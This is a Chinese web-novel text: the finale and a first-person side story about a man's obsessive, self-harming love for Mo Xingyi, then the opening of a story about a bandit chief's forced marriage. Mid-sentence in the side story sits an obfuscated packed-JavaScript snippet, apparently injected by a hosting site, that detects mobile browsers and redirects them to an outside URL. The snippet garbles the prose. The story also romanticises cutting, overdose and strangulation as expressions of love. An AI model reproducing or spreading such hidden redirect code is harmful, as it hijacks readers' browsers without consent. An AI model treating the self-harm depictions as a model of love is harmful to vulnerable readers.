是啊,男女主都到场了,最后一幕戏,要精彩起来了。 第二天约定的时间,莫行一站在医院楼下并没有上去,手机里温让青又开始不停地给她发消息,还拍了密布针孔的照片,散落满地的药片,他发语音的时候都在笑,小心翼翼地问莫行一:“今天愿意和我说话吗?一一,我快好起来了。你能、你能来看我吗?我不和你的新男朋友说,我们偷偷的,好不好?” 莫行一安静听着温让青从温柔到哭泣甚至疯狂祈求威胁的语音,脖子上的红毛线围巾勒得她喘不过气,温让青亲手织的围巾像他柔软的手臂一样,永远紧密的,永远如影随形地缠绕着她的心。 白幼薇按照时间应该和温让青见面了,莫行一好奇地想着,当揭穿系统的真相,白幼薇和温让青会成为执行任务的同伙?还是命中注定的爱侣.......亦或是........ 手机震动打断了莫行一的思考,她发现白幼薇,接通之后确实剧烈的落地声,还有她嘶哑惊恐地求救:“莫行一!你、你快救我,温让青疯了!他要杀了我!你快、快点!” “温让青!!!” 莫行一没有迟疑,在思考之前身体已经朝着偷偷看过无数次的病房狂奔,推门而进时,正看到温让青面无表情地掐着白幼薇的脖子,另一只手抓着枕头要闷死她。 “你在做什么!温让青,不要,不要杀人。你乖,乖一点。”莫行一站在门口不敢轻举妄动刺激他,只是稳住声音,在温让青看过来时朝他安抚地笑:“不要杀人,温让青,我们还要结婚呢,你忘了吗?我们马上结婚了,我可不娶一个杀人犯。” “你、你骗我,一一,你又骗我呜呜呜呜.......” 温让青的哭声嘶哑,掐着白幼薇的手却下意识松开了,即便心碎,他始终无法反抗莫行一的命令。只是颓然地坐在病床上,泪雾遮住了莫行一的身影,他像是被抛弃的败犬,呜咽着质问:“白幼薇给你打电话,你就来见我了。可是我给你发那么多消息,你从来不回我。一一,所有人,所有人你都喜欢,你就是不喜欢我吗?” “不是!不是的,温让青,我最喜欢你啊,你是我的第一名,我的公主啊!别哭,不许哭!” 莫行一几乎是厉声呵斥他,但温让青却真的止住了眼泪,只是戚戚然地望着她,愣神的瞬间被白幼薇找到机会从他手底下逃走。温让青想下来追却腿软跌下床。 下意识将他整个人捞进怀里,温让青瘦的几乎只剩一把骨头,双手死死搂住她的脖子,忍着眼泪出神地看着眼前的莫行一。 “你回来了,莫行一,之前的那个人,是做梦吗?她不爱我,她还欺负我。一一,她欺负我呜呜呜呜,我心都要碎了,你再不回来我真的要死掉了。” “还有!还有那个白幼薇,她闯进来像个疯子,她非要我喜欢她,她说我以后会背叛你和她在一起!她在污蔑我,一一,我不能让她把这些告诉你,你如果因为她的谎话不喜欢我怎么办?对!我要去杀了她,杀......” “我知道,我知道,温让青,别怕,别怕,一切都会结束了,你等着,马上就要结束了。” 莫行一锢着他的双手,在温让青癫狂的神态中低头吻住他。 耳畔是系统最后引爆的报警声——【剧情偏移百分百,人物情感线偏移百分百,工具角色气运加持百分百。任务失败,系统启动□□,宿主做好准备,十秒之内被踢出该位面。】 温让青并不知道发生了什么,他混沌的脑子里剩下不能抛弃的、不能忘记的、必须要坚持的——莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一莫行一...... 像一道坏掉的程序,只剩下初始的爱意。 莫行一低下头,郑重地亲吻了温让青的眉心。爱他明月好,憔悴也相关。捧着温让青泪湿的脸,她在凝视着他,也在凝视着十几岁时笑着向她求救的少年。 “你还记得我说过什么吗?温让青。” 温让青抬手给她擦眼泪,怜爱又要去亲她,但莫行一抵住他的额头,是相依为命的雏鸟,她对他一遍遍重复:“我保证,爱你,等待你,思念你,娶你,支持你,无条件相信你。” “我亲爱的,我的第一名,我的公主,擦干眼泪,永远来我怀里。” “第一名的第一名.......”温让青终于又下了,泪盈于睫,瞳仁里透出几丝清明。他揪着莫行一的围巾,仰头热烈地亲吻她。 或许他明白了什么,明白了这段时间莫行一的反常。也或许他并不明白,毕竟他从来做不到像莫行一那样冷静又聪明。 但这都没关系了。莫行一愿意亲吻他就够了。 “莫行一,你记得吗?我永远都在你回头就能看到的地方,张开手臂,我来抱你” ——完—— 28. 温让青番外 【温让青视角】 爱是什么? 四岁之前爸爸妈妈还在一起的时候,我问他们,他们笑着告诉我爱是一家人在一起。 但大人都是骗子。 爸爸公司出问题之后,几乎每天都要应酬喝酒,半夜回家之后,我会被妈妈的哭喊声吵醒,因为爸爸打人,从前特意为妈妈挑选的花瓶被他拿来砸碎在妈妈头上。 我透过门缝窥视着客厅的瓷器碎片还有妈妈脸上滴滴答答落下的血珠,一瞬间我如有所感,爱要碎了,被爸爸亲手打碎。 后来妈妈离婚之后带我去了南川,她是很漂亮的女人,身边从来不缺乏献殷勤的男人。但妈妈再也没有踏入过婚姻,每一场恋爱,都以疼痛和□□结束。我被迫看着看着妈妈和其他男人在血腥与暴力中交合,她不让我走,她捏着我的脸,满身血痕地说:“青青,你要睁大眼睛看清楚,看清楚爱是疼痛,是肮脏,是抵死的纠缠和暴力的磨合。” 温让青,爱是一件坏东西。 妈妈说爱是一件坏东西,但我还是想要爱,她也是,她孜孜不倦地让那些男人虐待她,也不过是想要在疼痛中证明自己留住了被爱的痕迹。所以我认为妈妈也是一个孩子,和我一样,因为没有获得爱,所以总要装作不在意爱的样子。 但其实,我太想要被爱了,在爱降临之前,我甚至愿意卑躬屈膝、跋山涉水地迎接祂。 讨好型人格,这是我在六年级的时候听同桌的一个小胖子说的,他写在我的同学录上,翻着那写满人名的密密麻麻的一本,他近乎冷酷地看着我说:“同桌,你知不知道你是讨好型人格?而且很严重,我妈妈是心理医生,妈妈说这样是因为缺爱。” “我不缺爱。” 我下意识否定,但唇角依旧翘着,甚至疾言厉色地做不到。 所以,否定之后我在对方的注视中第一次沉默了。 是的,我缺爱缺到在心里生了一场大病。 六年级暑假结束之前,楼下那对教授夫妇的女儿从乡下回到了南川,我下楼去陪同学打羽毛球,正好碰见她拉着行李箱等电梯,我和她打了个照面,因为她皮肤偏小麦色,头发毛躁微蜷,眼瞳黑白分明,水润润当中又透出一丝缺乏人气的平静。温让青下意识想到之前去大观音寺,那只在佛像脚边晒暖的雀猫。若有若无的神性在她眼里。 当时的女孩也抬眼看了他,但很快移开视线,盯着电梯屏幕。她不知道要摁关门,所以一直呆呆地等到电梯门自动合上。温让青拿着球拍在单元门口偷偷看,记住了她的楼层,然后发现竟然在自己家隔壁。 所以她是教授夫妇的女儿,她肯定很聪明吧? 初中开学的第一天,温让青特意听到隔壁的关门声后才出门,等电梯下到一楼,他发现隔壁的女孩穿着南川的校服,正蹙眉站在单元门口思索着什么。 本来莫行一刚从乡下回南川,温让青以为隔壁教授夫妻肯定会亲自送她到学校。结果现在看来居然是放她一个人去坐地铁,温让青心底微微惊讶那对教授在日常生活和养育孩子的粗心,而后主动走到莫行一之前,等到身后女孩跟上来之后,才加快脚步往地铁站走。 坐上之后,温让青在对面玻璃上看到莫行一在看自己,她很聪明,果然猜到了自己的好意,于是温让青真心实意地冲她笑了。他喜欢和聪明人打交道,因为他需要有人能充分理解并且看到自己的善意的信号........更幸运一点,他还希望有人能看到自己瑟瑟发抖求爱的心。 莫行一,她是南川新生里的第一名。 我偷偷查过她的名字,莫行百里一回头,落日孤云霭新画。默念着这两句诗,我想起莫行一的脸,心头微微颤动,像冰凉的雪花、刺骨的北风、萧萧下的秋叶,总之很难说清楚,大概就是宏大而壮阔的意境,是将登太行一鼓作气的期许。 但后来一一告诉我,姥爷给她取名字,莫是莫家庄的大姓,然后她又在那一辈里出生最早,所以行(hang)一,取名莫行(xing)一,念起来好听。 我听完忍不住就笑,亲着她的脸抱她到腿上晃来晃去。她疑惑地看着我,但我也只是红着脸笑没敢告诉她。毕竟这让我怎么说?莫行一,我在你认识我之前就已经天然地把所有美好都往你身上堆砌了。 上初中之后愈来愈多的人喜欢我,书包里偶尔被塞的情书被妈妈看到,她拿出来看都没看,扔到垃圾桶里之后讥讽地笑着看我,妈妈反问:“还记得妈妈教过你什么吗?” 我捏紧手指,指肚被圆规偷偷扎的伤口在冷汗浸过之后更加刺痛,我挽起笑,凝视着香烟缭绕的白雾中,那个浑身青紫的妈妈,厌恶地回答道:“妈妈说过,爱是一个坏东西。” 初中刚开学一个月,我拒绝了很多人,怕被拒绝者伤心,所以我都诚惶诚恐地将问题揽到自己身上。可是,为什么?他们还是讨厌我了。那种感觉很难过,周围被拒绝的同学莫名其妙指责我玩弄女生感情,然后好事者又添油加醋,散播我和校外混混交往,最后我也没想到会有人如此恨我,直接在全校贴吧上绘声绘色地讲述我和所谓几个男人在宾馆开房的画面....... 心里像堵了一团棉花,胃里也想吐,我尽量控制情绪和他们讲道理,一遍一遍澄清,但那些造谣者的声音越来越大,压过我的辩驳,同时也堵住我的眼泪。 当体育委员抱着篮球砸到我头上,拉着男生把我围起来,他灿烂地笑着看我捂着鼻子蹲在地上,骄傲地说:“看吧,我就是温让青这个娘娘腔,肯定喜欢男人,平常体育课肯定没少偷看我们男生打球,兄弟们,今天刚好咱们一起治治这个变态!” 我咬破了嘴唇都不敢掉眼泪,混乱的拳头落到身上时,我脑海里乱糟糟的,竟然想起来妈妈那些嗜痛的星爱。疼,疼死我了,但我咬破嘴唇也不愿意泄露一声闷哼,或者掉一点眼泪。我讨厌妈妈,我宁愿死也不要变成她那个样子。 原本我想过我会被打进医院,但很幸运,我听见一道呆板冷漠的声音,像把直愣愣的剑,插在我的痛苦中央。莫行一吹着口哨,朝体育老师招手说:“体育课上聚众霸凌同学,老师,李怀要打死人了。” 那天体育老师来制止住混乱,抱我去医务室之前,我掀开泪糊的眼睫,努力扭头去看莫行一。但她已经抱着排球往教学楼跑去了,光影落在她的校服上,我透过眼泪,怎么瞧都像是明烈的新火。 所以莫行一是第一名,是我心里,爱人者最鲜活的模样。 我想要拢住莫行一身上的新火到手心里,所以,我接近她,在楼道里故意哭着等她。果然,她越过之后又折了回来,在她犹豫的半分钟里,小刀划破的胳膊又被我焦虑地掐出血,疼痛之中,我看到一只手递来皱巴巴的纸巾,莫行一微微俯身,叹了口气对我说:“温让青,你不想笑的时候可以不笑。” 心头麻了一下,手肘上的伤口都像是被柔软的羽毛拂过,我噙着眼泪却止不住兴奋。捏住莫行一的校服,我眼眶里滚出泪珠,但心里却塞得满满的,只剩一句话——被爱,被莫行一爱,真是幸福到好想死掉啊。 终于,我成为了莫行一的朋友,在她身边,软弱被允许,眼泪被允许,甚至不开心都被允许。呆板的学霸并不精通安慰人的技巧,但每次,在我掉眼泪之前,莫行一都会伸手捂住他的眼,然后直愣愣地说:“别哭,别难过,温让青。” 于是我就会笑,是真的想笑,眼泪被挤出来砸在莫行一手心,她疑惑地摊开手心凝视着我,但我却只是翘着嘴角将脸埋在莫行一手心。 我没有办法告诉莫行一,当你命令我那一刻,我就会想到我属于你,这是我的终极梦想,谁都不知道。 莫行一回济河的那个寒假,我在除夕夜原本是打算吞下一整瓶安眠药的,家里很安静,因为中午和妈妈大吵了一架。她看出我时不时就攥着手机等消息,所以愤怒地翻出我偷藏的莫行一用过的草稿纸和丢掉的试卷,妈妈念着莫行一三个字,然后冷笑着扇了我一耳光。 我至今都记得那个时候她的目光,冷森森地,掺杂着不甘与嫉恨,妈妈说:“你是我的儿子,温让青,你觉得你这个小贱种凭什么能得到别人的爱?” “而且她是莫行一,她是你们学校的第一名对不对?青青,你配不上她这种人喜欢。” 妈妈打我的时候其实一点都不疼,但泪珠一颗颗砸下来,我哭得脸颊发烫,躲在衣柜里,直到窗外传来电视里春节晚会的声音,我才承受不住地爬出来,天空漆黑,楼宇挡住了稀薄的月光以及零零散散的星子。 想起来今年禁放烟火,我有些遗憾,跑到妈妈的卧室里找出她的安眠药,两个半瓶被我倒在一起,我吞进嘴里一把,刚用冰牛奶灌下去。手机响了,第一遍我并没有接,直到响了第二遍,我拿起来,看到莫行一三个字,正发光发亮不停地跳动着。一瞬间我仿佛能看到莫行一微微蹙眉看着手机的样子,泪水又溢出来,我的脸颊又湿又烫,胃里面绞痛,手指战栗地戳了好几下才接通。 初一那年甚至没有视频通话,莫行一只是听着我的呼吸,平淡地说:“新年快乐,温让青。”我咬住手背,从喉咙里溢出一声呜咽,而后安静地听着电话那端热闹的鞭炮声和小孩嬉戏的笑声。我翘起唇角笑着问她:“莫行一,你现在快乐吗?” “我一直很快乐。”她一板一眼地回答,像上课回复老师的提问,明明没有任何感情,我却又哭了,啜泣声咬破嘴唇也没能藏住,而电话那端又传出来哒哒哒的脚步声,而后是风的呼啸,泪眼婆娑中,我听见莫行一叫我的名字:“温让青。” “嗯。” “别哭,你听,放烟花啦。” 噼里啪啦的响声顺着电流滋滋啦啦传进我的耳朵里,药劲返上来,我疼得满脸泪水与冷汗,但蜷在地板上,我却颤巍巍地笑了,拼尽全力为自己打了急救电话。我笑了,我想,莫行一又救我一命,所以我要活着,好好活着,活着来爱她。 得到莫行一的爱并不容易,但退一步,她的怜悯是努力就可以筹谋到的。我明白我不道德,我算计了莫行一的责任感与纯良,生活里我尽可能挤掉所有其他人的空间,我要她的眼里只有我,要她身上都和我一样是小青桔的酸涩。虽然初二的时候她还是像个叛逆的孩子,非要离开我身边。但没关系,我有那么多眼泪,我又向来不怕疼,所以故意在校运动会跑伤脚,故意把自己关在家里,直到听见她的声音,我才惨白着脸笑出声,刀片划破手腕,我感受不到痛,只是开门的瞬间,我看到了莫行一的眼泪。 慌忙地想要抹去她的泪水,但手指上全是血,刚碰到莫行一的脸,我慌张地收回却又被她捉住。她就那样冷静地看着我被割破的手腕,眼泪盈满一颗颗溢出来。表情没有一丝悲伤,但莫行一却止不住眼泪,很快,沉默山岚为我下了场绵绵的雨。 她流着眼睛,平静地拥抱我,小青桔的青涩混杂着血腥。 又叫了我的名字,莫行一说:“别死,温让青,只要你别死,你就是我最好的朋友,是我的第一名,我的公主。” 莫行一是永远的第一名,但现在,我笑出声来,满手鲜血攥紧了她,眼泪和水几乎都要流干了,但这一刻,我想我获得了永生。 缺爱的差生在第一名的爱里永生。 我不是一个聪明的人,高考那年即使莫行一给我补习,最后我也只是考了个不上不下的师范学校。但我已经很满足了,对莫行一说:“公园里的大爷大妈都说老师在婚嫁市场上最抢手了。一一,你以后会娶我吗?” 莫行一当时在帮我看入学资料,没有抬头,我从背后搂住她的脖子,像块牛轧糖一样黏在她身上,软下嗓子可怜兮兮地说:“娶我吧,娶我吧娶我娶我娶我,一一,求求你娶我吧。” 我没有尊严,我想,如果谁告诉我跪在地上磕头能让莫行一娶我,那我肯定会结结实实嗑一百个头,求莫行一娶我一百次,赖她一百个一辈子。 莫行一起身为我准备入学的证件,回头的时候摸了摸我的脸,她显然已经习惯了,点头直愣愣地应下:“好啊,你什么时候愿意嫁我就带你回济河结婚。” “我现在就愿意!”笑着扑到莫行一身上,我控住不住轻轻咬了下她的脸颊,实在是太喜欢了。 莫行一擦了擦脸上的口水,冷静推开我:“现在不行,法律不允许。” 太喜欢一个人是会想要和她结婚的,虽然心里知道结婚证并不能保障爱情,但景区的姻缘锁我都挂过十几把了,求得就是一个念念不忘、痴心妄想。 所以,能有一丁点证明我和莫行一有关系的物件,我都愿意求来珍藏。 婚期半年前我开始做噩梦,梦里一会是我和莫行一在民政局离婚,身后还有一个面容陌生的女人挽着我的胳膊。梦里我心搅在一起疼得要呕出血来,但身体不受控制,我还是听见了一一那句冷漠的话——是吗?那祝你和温老师百年好合,长长久久。 不要!不要!我不要,莫行一,为什么又丢下我!不可以,不能丢下我,一一,你真的想要我死掉吗!! 我哭喊着从噩梦里惊醒,而身边的枕头是冰凉的,莫行一又没有回家,她已经在学校住了很久了,每次如果不是我在电话里哭着逼她,她从来不肯主动看我。 噩梦愈发的真实,我睡不着觉,开始看婚礼场地,挑选婚礼歌曲还有宾客名单和伴手礼等等一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125215|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系列复杂的事情。每完成一项,我的心就更慌一点,仿佛临近死期的病人的预兆,果然,在婚期前一个月,莫行一通知我要延期。 我那天哭了,但因为在莫行一学校,不想她难堪,所以没有歇斯竭力地跪下去求她。但我还是拽住莫行一的手腕,微笑着滚落泪珠问她:“不延期行不行呀?一一,我会自己处理好婚礼的事情的,你别不要我啊,我很乖很听话,床上也会继续努力的,莫行一.......你、你不可以这样,你要惹我伤心了一一。” 莫行一拽开了我的手,仿佛我的眼泪烫伤了她一样,匆匆地跑开,又忽然扭头,呵住我的脚步,莫行一命令我:“停下,温让青,不许问,不许哭,你只需要听我的话就可以!” 说完一一就跑了,我甚至看不清她的神色,但身体却先于意识,我站定了,擦干净脸上的泪水,尝试了几次终于勾起颤抖的唇角,我站在原地,偷偷朝莫行一的背影笑着说:“好,我听你的话,但一一,” 日影移到我的眼尾,暖黄的色调映在眼瞳里,我笑容更加甜蜜,“如果你命令我离开或者不爱你,那我就去死,莫行一,这是我的权力。” 莫行一和我承认出轨同门师弟的那晚,我晕倒之后被送到医院,期间她没来看我,妈妈反而来了。如今她已经老了,坐在病床旁边给我削苹果。妈妈在笑,神态讥讽:“就这点出息,我还以为你小子这次真要超过老娘,找到真正的爱呢。” “莫行一爱我。”我声音沙哑,眼睛里也布满血丝,眨一下都无比酸涩,只能怔怔地盯着天花板。 “她爱她的师弟,他们都是聪明人,也都是健康健全的人,不像你,也不像我,疯疯癫癫,带着一辈子的病和隐患。” “莫行一爱我!她爱我!她说过我是第一名!是她的第一名!你懂个屁!你滚!你操控了我半辈子!温玉瑕!你没有遇到捞起你的那个人,不代表我没有。莫行一她捞起了我,你知道吗?!你知道吗!她那么好的人,她为我哭也为我笑过!她.......” “她她她她她她!”温玉瑕忽然扇了我一巴掌,掐着我的脖子,还是一贯的逼迫与恐吓,我看见她眼睛红了,她比我先流泪,“既然你知道莫行一是什么人!那你为什么不相信她!蠢货!你要是死了才真的对不起莫行一!” 那段时间我反复地发烧,心理状态也糟糕,昏昏沉沉,眼泪都流不出来了。摸了摸脸上的潮湿,我看着温玉瑕那双和我一样的眼睛,我忽然懒得和她计较爱的问题了。 温玉瑕不欠我的,但我也不要爱她了。 天底下所有的孩子都天然地爱着妈妈,但我不是,我只爱莫行一。 她是我唯一,唯一的爱。 病着的那段日子,我做了很多梦,梦里模模糊糊的光影,有年少时坐在窗边做卷子的莫行一,也有中年时期站在国际领奖台上演讲致意的莫行一,灯光和掌声拥簇着她,但莫行一目光仍旧与少年时期一样,眼瞳黑白分明,水润润当中又透出一丝缺乏人气的平静。身边来来往往许多人,但莫行一仍然是日复一日泡在实验室和图书馆里,我在梦里想这样隐秘地陪伴她一辈子也好。但很快,梦境变幻,我看到白幼薇,她换掉了我和莫行一买过的家具,扔掉了初中我教莫行一打羽毛球的那把破球拍,还有高中时莫行一给我做的一箱子笔记.......我失声地叫住她想要制止,但做不到,我只能看着莫行一的痕迹从我生命里一点点消失,我们变成毫无交集的平行线。我和白幼薇苟且,丢掉工作,又因为莫行一的出面还获得所有人的原谅。我就这么在无助的恨与愤怒中煎熬,亲眼旁观着梦里的自己与白幼薇结婚生子,最终,在梦中第十年,白幼薇穿着南川中学的老校服,站在莫行一从前的课桌上,笑着让我去抱她,让我在莫行一坐过的课桌上和她左爱。于是,在梦中的我俯身的瞬间,梦境凝滞,我平静地看着亲手插进梦中的自己心脏的那把刀,利落拔出来之后又扎进白幼薇的心口。 我终于杀掉了他们,天亮了,噩梦也该醒了。 第二天中午白幼薇来病房里找我,精神萎靡地抓着我的手腕说些疯话,她要我喜欢她,要我不爱莫行一来爱她。我可怜她实在是蠢到无耻,所以掐着白幼薇的脖子准备给她个痛快。但很快莫行一出现了,她很久没有摸过我了,但这一次却是攥着我的手腕让我松开白幼薇。 真好,我想,莫行一对所有人都很好,只要她想,莫行一可以爱任何人,也能得到任何人的爱。所以我一直都知道,莫行一并不是非我不可,但我没有莫行一却就一定会心碎死掉。 她抱着哭到崩溃的我,亲着我的耳朵让我等等,在等等,一切都要结束了。莫行一是最聪明的人,我无法拒绝她,只能在她愿意低头亲吻我的时候,死死搂住她的脖子乞求她多停留一秒。 最后白幼薇消失了,周围所有人都忘记了她。莫行一亲着我想要向我解释这一切,但我想到那场噩梦,有些明白,却又不想那么明白。捧住莫行一的脸,我亲吻她的眉心,笑盈盈地跪在病床上问她:“一一,我不在意。我不在意你有什么计划,也不在意这个世界又发生了什么稀奇古怪的事件。我只是想知道,莫行一,这次,可以娶我吗?” 柔软的唇瓣落在眼尾,我才发现自己又掉眼泪了,她蹭着我的额头,和少年时无数次一样,我们像两只雏鸟依偎在一起。莫行一回应我的拥抱。莫行一喊我的名字:“温让青,这次谁也不能再阻止我来娶你。” 爱是什么呀,一一? 我又想起年少时很平常的一个晚上,莫行一戴着耳机听英语听力,我牵着她的手走过沿途一盏盏路灯,光影淌过我们又流走。我看着发丝都闪闪发光的莫行一,以为她肯定听不见,所以自言自语地问:“爱是什么呀,一一?” “你听,温让青。”莫行一喊我的名字,摘下一只耳机塞给我。 平静的夜里是情人般的美好呢喃,歌声在回答。 I say i say i say i say I promise you Loving you wait for you Missing you Marry you Supporting you Believe in you et you Fall for you More and More and More ....... “爱是承诺,是等待,是相守与思念,爱是支持与沉溺。温让青,爱是我爱你。” 29. 强娶女主的清冷阴鸷正宫夫郎后(一) *强娶裴霁明的第一年,我被告知新婚夫郎五年后会成为天道之女的痴情正宫;强娶裴霁明的第五年,我留下一封放夫书奔赴战场,被人陷害即将丧命时,裴霁明提剑赶来,暴虐成性的美人绞杀叛军,而后滴血的剑刃塞到我手里,他红了眼,笑道:若想和离,妻主可先提剑杀我。 李金水×裴霁明 ------------------------------------- 假如当初娶裴霁明之前,能有人告诉李金水,喜床上这个抵死不从还攥住喜剪准备戳死她的美人,会是未来凤麟朝女帝的正宫夫郎.......李金水绝对把他囫囵打包给扔回山下,或者,从一开始她就不会因为色心不死跑到青涯书院偷看冷美人...... 祖宗,我有悔啊!!! 李金水蹲在门牙子上,方才闹洞房的老柴她们都被赶走了,山顶的小院显得冷清,月光洁白地洒下来,照得李金水身上的喜服红得格外刺眼。 喜床上特意铺的桂圆红枣都在刚才打斗的过程中被扫到了地上,她随手捡起来一个花生嗑起来,又回头看了眼被她绑住手脚扔在喜床上的漂亮新郎。 发髻间的烧蓝祥云金步摇勾着少年的发丝,凌乱地散落在莹润的耳畔,美人剧烈地喘息着,凌厉的一双凤眼微翘,冷冷地睨着门口嗑花生的李金水,声音清冷又掺着微弱的沙哑,命令道:“李金水,你混蛋!你快给我解开!” “行了行了,别吵吵,我脑瓜子疼死了!你能不能消停点,让我自个琢磨琢磨!” 李金水随手洒了一把花生壳扔到床上,气性一时上头,越琢磨越觉得自己委屈。原本这事儿放在半年前,她肯定会“姐姐长、姐姐短”地趴在裴霁明身上吐舌头,但现如今,冷不丁冒出一个穷书生,还硬拽着李金水说她会是未来的女帝,并且指着李金水从官府刀下救回春盈寨的美人是未来她的正宫夫郎?! 按照李金水的鞭炮脾气,原本是要将那穷书生绑起来打一顿的,但顶不住她不仅预言了救裴霁明这一路上会遭遇的关卡盘问还有官兵的埋伏,更是把李金水七岁的时候手贱去抢大黄猫肥奴的小鱼干,结果被肥奴的相好狸花给挠了屁股的事情都一清二楚。简直是震碎了李金水的自信,让她不得不接受自己辛辛苦苦拼了小命救下神仙哥,原来只是给她人做嫁衣。 那穷书生姬御珂最后给李金水的预言,就是嘱咐她一定要和裴霁明成亲,虽然他肯定不愿意还会在新婚之夜拿剪刀乱戳,但是!只要伺候好裴霁明这尊祖宗,五年之后她在济州称王,就一定会向春盈寨招安,并且封她为春霖大将军。 姬御珂的条件显然很动人,而且她的预言也让人不得不信服。所以愁容满面地继续了原本就准备好的婚礼,等到入洞房后,李金水刚低头准备喝交杯酒,然后颈间一凉,摸到裴霁明刺过来的喜剪,她心里最后一丝侥幸也破灭了,不得不接受这个事情。 裴霁明不喜欢自己,裴霁明最终会是别人的夫郎。 “裴霁明,先说好,我给你松绑,但你不能再拿剪刀戳我。” 李金水走到屋内,坐到桌子上俯视着床上面色绯红一脸屈辱的美人。 裴霁明唇角黏着凌乱的发丝,看到李金水这种做派,阖眼忍了许久,最后才咬牙切齿地点头答应:“可以,但前提是你不能对我做无礼的举动。” “啧啧啧,知道啦,知道啦。我真是冤枉啊我,刚才我就摸了下你的手,结果你一剪刀戳过来差点没把我吓死。” 李金水走到床边给裴霁明松绑,她低头专心解绳子,而裴霁明则不自然地抬眼,身体因为她不经意的触碰而有些轻颤,呼吸愈发滚烫,一些本能的反应和痛苦的记忆糅杂在一起,逼迫他在绳子刚解开之后便惊惧地推开身侧的少女。 额角的汗珠滑过鼻梁,他看到李金水呲牙咧嘴地趴在地上,又下意识羞愧地伸手想要扶她起来,但李金水恼怒地拍开他,揉着腰坐回了椅子里,疼得嘶了几声,然后不耐烦地看着裴霁明:“还得是你啊,裴小姐,男扮女装这么多年,手劲也大,好险没把我创死。” “抱歉,我、我并非有意。” 裴霁明勾头,一截雪白纤细的颈子在鲜红喜服的衬托下,好似盛夏荷塘里最柔嫩花苞尖儿上的一缕月光,顿时又让李金水没骨气地垂涎起来。 呸!长点志气! 李金水心里狂扇自己耳巴子,然后挺直了脊背,继续和他聊正事:“我知道你不愿意嫁给我,但现如今的形式你也知道,朝中王丞相那贼婆一直想要对你们裴家赶尽杀绝,春盈寨独立在朝廷之外,而且有天堑崖相隔,踪迹难寻,暂时躲在这里才能保你一条命。不过.......” 手指扣了扣桌子,李金水拖长了声音,故意等到裴霁明疑惑地望向自己时,才扯起嘴角恶劣地笑出声:“不过春盈寨向来只收女子,除非作为寨子里姐妹的夫郎,不然是定要被赶下山去的。而你,裴小姐,不对,现在应该叫裴美人,你觉得做我这个大当家的压寨夫郎好一点,还是做老柴她们那些大老粗的压寨夫郎好?” 裴霁明拧眉,眸中萦绕出郁气沉沉,明显是在思考李金水的提议,而她喝完一盏茶之后,才等到少年开口,平静地反驳:“可是李金水,你读书也不多,你也是大老粗。” “我呸!我呸呸呸!我可是读完战国策的土匪!” 李金水嗲毛,气得跳到桌子上,而裴霁明倚在床边,喜服衬得他眉梢眼角都沾了层媚色,看到少女还像从前那般经不得激,他忍不住扑哧笑出声,捋了捋发丝,正经道:“我可以答应做你的夫郎,但你不许碰我,你的手下也不能对我无礼。如若你只是想要一个漂亮夫郎撑撑场面,李寨主,裴某一定会完美完成任务。” “好啊好啊,别人娶夫都是娶能亲能抱能暖炕的夫郎,就我自己抱个花瓶回家供起来。” “你要是不答应就算了,裴某自己下山去寻生路。”裴霁明掸了掸衣袖,作势就要起身卸掉钗环离开喜房。李金水连忙拦住他,一脸屈辱地点头答应,脸颊气得鼓起来像个河豚似的,又给裴霁明逗笑了,捂着小腹趴在被褥里偷偷看她。 “活爹,活爹,我答应你还不行吗?不过你可给我好好活啊,别哪天又想不明白上吊啥的,仔细点别把自己给养死了,我害怕。” 李金水想到和姬御珂的五年之约,更加小心地对待起裴霁明,生怕未来君后折在自己手里,到时候十个李金水都不够姬御珂杀的。 “噢,那我肚子疼。”裴霁明眯着眼睛歪倒在绣着鸳鸯的被褥里,唇角微微勾着像一只餍足的狸奴,看着李金水满眼紧张地盯着自己的肚子,他不自在地翻了个身,然后就听见李金水焦急的声音:“没问题,我去给你装热水袋,然后让老柴再拎两个炉子进来哈。” “嗯。” 裴霁明只轻轻应了声她,桔红的烛光倾落,他从接到裴家遭难的消息直到现在,已经颠簸了两个多月没有好好休息了。原本紧绷的神经在嗅到柔软被褥里那一丝花果的香甜之后,也终于缓缓放松,下意识攥住李金水为了成婚特意打的那只金步摇,裴霁明合上眼,迷迷糊糊地想:今夜星月都好,明天......也会云霄雨霁,海阔天明的吧? 毕竟,他还记得,那个喜欢趴在自己书舍墙头的少女,曾经抱着一堆青枣,在满天的霞光中双目晶晶地对着他说:“只要我在姐姐身边,每一天都会是好日子!” “阿水绝不让你难过。” ------------------------------------- 李金水她娘李百花据说原本也当过先皇亲征军里的百石长,只不过后来先皇败给炽翎国,首帅被生擒,李金水她娘作为俘虏凭借着活泛的脑子和俊俏的模样,哄骗了一个炽翎贵男,让他帮她假死脱身,换了个身份后就找机会逃回了凤麟。 李百花眼见朝廷势弱,逃兵的身份又不为官府所容,索性就召集了之前参军时结识的姐妹,长途跋涉,找到了天堑崖后面那条索道,过了索道之后就是春芽谷,李百花就此安营扎寨,依凭地势做起了土匪。 因为李百花为人公道,并且在劫道之外更多的是带领姐妹们开荒种地,偶尔丰年收成好,还会下山救济被官府逼税走投无路的贫农,所以虽然是做土匪,李百花的名号依旧响当当的敞亮,吸引了不少对官府失望亦或者走投无路的苦命人前来投奔。 原来春盈寨欣欣向荣,一切都好,只不过李百花过了三十,之前从军的旧伤痛起来,让她又想到了那个被自己骗了婚约的炽翎贵男,尤其自己逃跑还因为害怕女儿受牵连,把刚足月的李金水也给揣怀里带回了凤麟,留下那男子一个孤身面对家族的责难,李百花越琢磨越觉得自己不是人,于是心一横,连夜将刚十岁的闺女托付给姐妹们,自己带着行李盘缠还有当年和前夫定情时送他的雁羽,孤身一人直奔关外而去。 